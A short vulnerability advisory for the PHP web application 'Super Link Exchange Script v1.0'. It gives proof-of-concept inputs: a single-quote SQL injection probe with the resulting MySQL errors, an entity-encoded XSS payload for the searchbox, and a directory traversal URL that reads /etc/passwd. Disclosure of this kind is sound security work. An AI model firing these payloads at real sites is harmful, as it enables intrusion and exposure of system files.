Super Link Exchange Script v1.0

Super Link Exchange Script v1.0

Homepage:
http://www.ebizunion.com/guidetosuper.php

Description:
Main Features: 1. Add unlimited nested category/sub-category, 2. Can check 
reciprocal link back, 3. Can hide and delete no link back sites. 4. Template 
can be edited and suitable to fit your current webpage design. 5. Free to join 
in ebizunion.com and download free. 6. Upgrade to super member can find link 
partners from ebizunion.com and transfer link information to user's link 
directory real time. 7. Powerful Business Directory for you find best link 
partners. Display your Thumbnail or Business Logo

Effected files:
search input form
directory.php
make_thumbnail.php

SQL Injections:
http://www.example.com/directory.php?cat=187'

Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result 
resource in /home/feitian/public_html/

username/directory.php on line 86
 Global Business Union : 
Warning: mysql_num_rows(): supplied argument is not a valid MySQL result 
resource in /home/feitian/public_html/

username/directory.php on line 100
Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result 
resource in /home/feitian/public_html/

username/directory.php on line 103 

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XSS Vulnerabilities:

Data submitted by uses from the searchbox is not correctlly filtered. An 
example of a XSS attack would be to have a user put the following code into the 
searchbox:<IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112

;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>

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Directory Traversal:

http://www.example.com/make_thumbnail.php?imgpath=../../../../etc/passwd/

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